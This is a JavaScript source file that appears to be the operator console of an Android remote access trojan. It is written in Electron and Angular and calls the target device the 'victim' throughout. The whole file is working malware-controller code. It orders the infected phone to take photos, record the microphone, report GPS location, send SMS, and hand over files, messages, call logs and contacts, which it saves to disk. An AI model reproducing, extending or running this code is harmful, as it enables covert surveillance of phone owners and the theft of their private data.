| 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594 |
- const { remote } = require('electron');
- const { ipcRenderer } = require('electron');
- var app = angular.module('myappy', ['ngRoute', 'infinite-scroll']);
- var fs = require("fs-extra");
- const CONSTANTS = require(__dirname + '/assets/js/Constants')
- var ORDER = CONSTANTS.order;
- var socket = remote.getCurrentWebContents().victim;
- var homeDir = require('homedir');
- var path = require("path");
- var dataPath = path.join(homeDir(), CONSTANTS.dataDir);
- var downloadsPath = path.join(dataPath, CONSTANTS.downloadPath);
- var outputPath = path.join(dataPath, CONSTANTS.outputApkPath);
- //-----------------------Routing Config------------------------
- app.config(function($routeProvider) {
- $routeProvider
- .when("/", {
- templateUrl: "./views/main.html"
- })
- .when("/camera", {
- templateUrl: "./views/camera.html",
- controller: "CamCtrl"
- })
- .when("/fileManager", {
- templateUrl: "./views/fileManager.html",
- controller: "FmCtrl"
- })
- .when("/smsManager", {
- templateUrl: "./views/smsManager.html",
- controller: "SMSCtrl"
- })
- .when("/callsLogs", {
- templateUrl: "./views/callsLogs.html",
- controller: "CallsCtrl"
- })
- .when("/contacts", {
- templateUrl: "./views/contacts.html",
- controller: "ContCtrl"
- })
- .when("/mic", {
- templateUrl: "./views/mic.html",
- controller: "MicCtrl"
- })
- .when("/location", {
- templateUrl: "./views/location.html",
- controller: "LocCtrl"
- });
- });
- //-----------------------LAB Controller (lab.htm)------------------------
- // controller for Lab.html and its views mic.html,camera.html..etc
- app.controller("LabCtrl", function($scope, $rootScope, $location) {
- $labCtrl = $scope;
- var log = document.getElementById("logy");
- $labCtrl.logs = [];
- const window = remote.getCurrentWindow();
- $labCtrl.close = () => {
- window.close();
- };
- $rootScope.Log = (msg, status) => {
- var fontColor = CONSTANTS.logColors.DEFAULT;
- if (status == CONSTANTS.logStatus.SUCCESS)
- fontColor = CONSTANTS.logColors.GREEN;
- else if (status == CONSTANTS.logStatus.FAIL)
- fontColor = CONSTANTS.logColors.RED;
- $labCtrl.logs.push({ date: new Date().toLocaleString(), msg: msg, color: fontColor });
- log.scrollTop = log.scrollHeight;
- if (!$labCtrl.$$phase)
- $labCtrl.$apply();
- }
- //fired when notified from Main Proccess (main.js) about
- // this victim who disconnected
- ipcRenderer.on('SocketIO:VictimDisconnected', (event) => {
- $rootScope.Log('Victim Disconnected', CONSTANTS.logStatus.FAIL);
- });
- // to move from view to another
- $labCtrl.goToPage = (page) => {
- $location.path('/' + page);
- }
- });
- //-----------------------Camera Controller (camera.htm)------------------------
- // camera controller
- app.controller("CamCtrl", function($scope, $rootScope) {
- $camCtrl = $scope;
- $camCtrl.isSaveShown = false;
- var camera = CONSTANTS.orders.camera;
- // remove socket listner if the camera page is changed or destroied
- $camCtrl.$on('$destroy', () => {
- // release resources, cancel Listner...
- socket.removeAllListeners(camera);
- });
- $rootScope.Log('Get cameras list');
- $camCtrl.load = 'loading';
- // send order to victim to bring camera list
- socket.emit(ORDER, { order: camera, extra: 'camList' });
- // wait any response from victim
- socket.on(camera, (data) => {
- if (data.camList == true) { // the rseponse is camera list
- $rootScope.Log('Cameras list arrived', CONSTANTS.logStatus.SUCCESS);
- $camCtrl.cameras = data.list;
- $camCtrl.load = '';
- $camCtrl.selectedCam = $camCtrl.cameras[1];
- $camCtrl.$apply();
- } else if (data.image == true) { // the rseponse is picture
- $rootScope.Log('Picture arrived', CONSTANTS.logStatus.SUCCESS);
- // convert binary to base64
- var uint8Arr = new Uint8Array(data.buffer);
- var binary = '';
- for (var i = 0; i < uint8Arr.length; i++) {
- binary += String.fromCharCode(uint8Arr[i]);
- }
- var base64String = window.btoa(binary);
- $camCtrl.imgUrl = 'data:image/png;base64,' + base64String;
- $camCtrl.isSaveShown = true;
- $camCtrl.$apply();
- $camCtrl.savePhoto = () => {
- $rootScope.Log('Saving picture..');
- var picPath = path.join(downloadsPath, Date.now() + ".jpg");
- fs.outputFile(picPath, new Buffer(base64String, "base64"), (err) => {
- if (!err)
- $rootScope.Log('Picture saved on ' + picPath, CONSTANTS.logStatus.SUCCESS);
- else
- $rootScope.Log('Saving picture failed', CONSTANTS.logStatus.FAIL);
- });
- }
- }
- });
- $camCtrl.snap = () => {
- // send snap request to victim
- $rootScope.Log('Snap a picture');
- socket.emit(ORDER, { order: camera, extra: $camCtrl.selectedCam.id });
- }
- });
- //-----------------------File Controller (fileManager.htm)------------------------
- // File controller
- app.controller("FmCtrl", function($scope, $rootScope) {
- $fmCtrl = $scope;
- $fmCtrl.load = 'loading';
- $fmCtrl.files = [];
- var fileManager = CONSTANTS.orders.fileManager;
- // remove socket listner
- $fmCtrl.$on('$destroy', () => {
- // release resources
- socket.removeAllListeners(fileManager);
- });
- // limit the ng-repeat
- // infinite scrolling
- $fmCtrl.barLimit = 30;
- $fmCtrl.increaseLimit = () => {
- $fmCtrl.barLimit += 30;
- }
- // send request to victim to bring files
- $rootScope.Log('Get files list');
- // socket.emit(ORDER, { order: fileManager, extra: 'ls', path: '/' });
- socket.emit(ORDER, { order: fileManager, extra: 'ls', path: '/storage/emulated/0/' });
- socket.on(fileManager, (data) => {
- if (data.file == true) { // response with file's binary
- $rootScope.Log('Saving file..');
- var filePath = path.join(downloadsPath, data.name);
- // function to save the file to my local disk
- fs.outputFile(filePath, data.buffer, (err) => {
- if (err)
- $rootScope.Log('Saving file failed', CONSTANTS.logStatus.FAIL);
- else
- $rootScope.Log('File saved on ' + filePath, CONSTANTS.logStatus.SUCCESS);
- });
- } else if (data.length != 0) { // response with files list
- $rootScope.Log('Files list arrived', CONSTANTS.logStatus.SUCCESS);
- $fmCtrl.load = '';
- $fmCtrl.files = data;
- $fmCtrl.$apply();
- } else {
- $rootScope.Log('That directory is inaccessible', CONSTANTS.logStatus.FAIL);
- $fmCtrl.load = '';
- $fmCtrl.$apply();
- }
- });
- // when foder is clicked
- $fmCtrl.getFiles = (file) => {
- if (file != null) {
- $fmCtrl.load = 'loading';
- $rootScope.Log('Get ' + file);
- socket.emit(ORDER, { order: fileManager, extra: 'ls', path: '/' + file });
- }
- };
- // when save button is clicked
- // send request to bring file's' binary
- $fmCtrl.saveFile = (file) => {
- $rootScope.Log('Downloading ' + '/' + file);
- socket.emit(ORDER, { order: fileManager, extra: 'dl', path: '/' + file });
- }
- });
- //-----------------------SMS Controller (sms.htm)------------------------
- // SMS controller
- app.controller("SMSCtrl", function($scope, $rootScope) {
- $SMSCtrl = $scope;
- var sms = CONSTANTS.orders.sms;
- $SMSCtrl.smsList = [];
- $('.menu .item')
- .tab();
- $SMSCtrl.$on('$destroy', () => {
- // release resources, cancel Listner...
- socket.removeAllListeners(sms);
- });
- // send request to victim to bring all sms
- $SMSCtrl.getSMSList = () => {
- $SMSCtrl.load = 'loading';
- $SMSCtrl.barLimit = 50;
- $rootScope.Log('Get SMS list..');
- socket.emit(ORDER, { order: sms, extra: 'ls' });
- }
- $SMSCtrl.increaseLimit = () => {
- $SMSCtrl.barLimit += 50;
- }
- // send request to victim to send sms
- $SMSCtrl.SendSMS = (phoneNo, msg) => {
- $rootScope.Log('Sending SMS..');
- socket.emit(ORDER, { order: sms, extra: 'sendSMS', to: phoneNo, sms: msg });
- }
- // save sms list to csv file
- $SMSCtrl.SaveSMS = () => {
- if ($SMSCtrl.smsList.length == 0)
- return;
- var csvRows = [];
- for (var i = 0; i < $SMSCtrl.smsList.length; i++) {
- csvRows.push($SMSCtrl.smsList[i].phoneNo + "," + $SMSCtrl.smsList[i].msg);
- }
- var csvStr = csvRows.join("\n");
- var csvPath = path.join(downloadsPath, "SMS_" + Date.now() + ".csv");
- $rootScope.Log("Saving SMS List...");
- fs.outputFile(csvPath, csvStr, (error) => {
- if (error)
- $rootScope.Log("Saving " + csvPath + " Failed", CONSTANTS.logStatus.FAIL);
- else
- $rootScope.Log("SMS List Saved on " + csvPath, CONSTANTS.logStatus.SUCCESS);
- });
- }
- //listening for victim response
- socket.on(sms, (data) => {
- if (data.smsList) {
- $SMSCtrl.load = '';
- $rootScope.Log('SMS list arrived', CONSTANTS.logStatus.SUCCESS);
- $SMSCtrl.smsList = data.smsList;
- $SMSCtrl.smsSize = data.smsList.length;
- $SMSCtrl.$apply();
- } else {
- if (data == true)
- $rootScope.Log('SMS sent', CONSTANTS.logStatus.SUCCESS);
- else
- $rootScope.Log('SMS not sent', CONSTANTS.logStatus.FAIL);
- }
- });
- });
- //-----------------------Calls Controller (callslogs.htm)------------------------
- // Calls controller
- app.controller("CallsCtrl", function($scope, $rootScope) {
- $CallsCtrl = $scope;
- $CallsCtrl.callsList = [];
- var calls = CONSTANTS.orders.calls;
- $CallsCtrl.$on('$destroy', () => {
- // release resources, cancel Listner...
- socket.removeAllListeners(calls);
- });
- $CallsCtrl.load = 'loading';
- $rootScope.Log('Get Calls list..');
- socket.emit(ORDER, { order: calls });
- $CallsCtrl.barLimit = 50;
- $CallsCtrl.increaseLimit = () => {
- $CallsCtrl.barLimit += 50;
- }
- $CallsCtrl.SaveCalls = () => {
- if ($CallsCtrl.callsList.length == 0)
- return;
- var csvRows = [];
- for (var i = 0; i < $CallsCtrl.callsList.length; i++) {
- var type = (($CallsCtrl.callsList[i].type) == 1 ? "INCOMING" : "OUTGOING");
- var name = (($CallsCtrl.callsList[i].name) == null ? "Unknown" : $CallsCtrl.callsList[i].name);
- csvRows.push($CallsCtrl.callsList[i].phoneNo + "," + name + "," + $CallsCtrl.callsList[i].duration + "," + type);
- }
- var csvStr = csvRows.join("\n");
- var csvPath = path.join(downloadsPath, "Calls_" + Date.now() + ".csv");
- $rootScope.Log("Saving Calls List...");
- fs.outputFile(csvPath, csvStr, (error) => {
- if (error)
- $rootScope.Log("Saving " + csvPath + " Failed", CONSTANTS.logStatus.FAIL);
- else
- $rootScope.Log("Calls List Saved on " + csvPath, CONSTANTS.logStatus.SUCCESS);
- });
- }
- socket.on(calls, (data) => {
- if (data.callsList) {
- $CallsCtrl.load = '';
- $rootScope.Log('Calls list arrived', CONSTANTS.logStatus.SUCCESS);
- $CallsCtrl.callsList = data.callsList;
- $CallsCtrl.logsSize = data.callsList.length;
- $CallsCtrl.$apply();
- }
- });
- });
- //-----------------------Contacts Controller (contacts.htm)------------------------
- // Contacts controller
- app.controller("ContCtrl", function($scope, $rootScope) {
- $ContCtrl = $scope;
- $ContCtrl.contactsList = [];
- var contacts = CONSTANTS.orders.contacts;
- $ContCtrl.$on('$destroy', () => {
- // release resources, cancel Listner...
- socket.removeAllListeners(contacts);
- });
- $ContCtrl.load = 'loading';
- $rootScope.Log('Get Contacts list..');
- socket.emit(ORDER, { order: contacts });
- $ContCtrl.barLimit = 50;
- $ContCtrl.increaseLimit = () => {
- $ContCtrl.barLimit += 50;
- }
- $ContCtrl.SaveContacts = () => {
- if ($ContCtrl.contactsList.length == 0)
- return;
- var csvRows = [];
- for (var i = 0; i < $ContCtrl.contactsList.length; i++) {
- csvRows.push($ContCtrl.contactsList[i].phoneNo + "," + $ContCtrl.contactsList[i].name);
- }
- var csvStr = csvRows.join("\n");
- var csvPath = path.join(downloadsPath, "Contacts_" + Date.now() + ".csv");
- $rootScope.Log("Saving Contacts List...");
- fs.outputFile(csvPath, csvStr, (error) => {
- if (error)
- $rootScope.Log("Saving " + csvPath + " Failed", CONSTANTS.logStatus.FAIL);
- else
- $rootScope.Log("Contacts List Saved on " + csvPath, CONSTANTS.logStatus.SUCCESS);
- });
- }
- socket.on(contacts, (data) => {
- if (data.contactsList) {
- $ContCtrl.load = '';
- $rootScope.Log('Contacts list arrived', CONSTANTS.logStatus.SUCCESS);
- $ContCtrl.contactsList = data.contactsList;
- $ContCtrl.contactsSize = data.contactsList.length;
- $ContCtrl.$apply();
- }
- });
- });
- //-----------------------Mic Controller (mic.htm)------------------------
- // Mic controller
- app.controller("MicCtrl", function($scope, $rootScope) {
- $MicCtrl = $scope;
- $MicCtrl.isAudio = true;
- var mic = CONSTANTS.orders.mic;
- $MicCtrl.$on('$destroy', function() {
- // release resources, cancel Listner...
- socket.removeAllListeners(mic);
- });
- $MicCtrl.Record = (seconds) => {
- if (seconds) {
- if (seconds > 0) {
- $rootScope.Log('Recording ' + seconds + "'s...");
- socket.emit(ORDER, { order: mic, sec: seconds });
- } else
- $rootScope.Log('Seconds must be more than 0');
- }
- }
- socket.on(mic, (data) => {
- if (data.file == true) {
- $rootScope.Log('Audio arrived', CONSTANTS.logStatus.SUCCESS);
- var player = document.getElementById('player');
- var sourceMp3 = document.getElementById('sourceMp3');
- var uint8Arr = new Uint8Array(data.buffer);
- var binary = '';
- for (var i = 0; i < uint8Arr.length; i++) {
- binary += String.fromCharCode(uint8Arr[i]);
- }
- var base64String = window.btoa(binary);
- $MicCtrl.isAudio = false;
- $MicCtrl.$apply();
- sourceMp3.src = "data:audio/mp3;base64," + base64String;
- player.load();
- player.play();
- $MicCtrl.SaveAudio = () => {
- $rootScope.Log('Saving file..');
- var filePath = path.join(downloadsPath, data.name);
- fs.outputFile(filePath, data.buffer, (err) => {
- if (err)
- $rootScope.Log('Saving file failed', CONSTANTS.logStatus.FAIL);
- else
- $rootScope.Log('File saved on ' + filePath, CONSTANTS.logStatus.SUCCESS);
- });
- };
- }
- });
- });
- //-----------------------Location Controller (location.htm)------------------------
- // Location controller
- app.controller("LocCtrl", function($scope, $rootScope) {
- $LocCtrl = $scope;
- var location = CONSTANTS.orders.location;
- $LocCtrl.$on('$destroy', () => {
- // release resources, cancel Listner...
- socket.removeAllListeners(location);
- });
- var map = L.map('mapid').setView([51.505, -0.09], 13);
- L.tileLayer('http://{s}.tile.osm.org/{z}/{x}/{y}.png', {}).addTo(map);
- $LocCtrl.Refresh = () => {
- $LocCtrl.load = 'loading';
- $rootScope.Log('Get Location..');
- socket.emit(ORDER, { order: location });
- }
- $LocCtrl.load = 'loading';
- $rootScope.Log('Get Location..');
- socket.emit(ORDER, { order: location });
- var marker;
- socket.on(location, (data) => {
- $LocCtrl.load = '';
- if (data.enable) {
- if (data.lat == 0 && data.lng == 0)
- $rootScope.Log('Try to Refresh', CONSTANTS.logStatus.FAIL);
- else {
- $rootScope.Log('Location arrived => ' + data.lat + "," + data.lng, CONSTANTS.logStatus.SUCCESS);
- var victimLoc = new L.LatLng(data.lat, data.lng);
- if (!marker)
- var marker = L.marker(victimLoc).addTo(map);
- else
- marker.setLatLng(victimLoc).update();
- map.panTo(victimLoc);
- }
- } else
- $rootScope.Log('Location Service is not enabled on Victim\'s Device', CONSTANTS.logStatus.FAIL);
- });
- });
|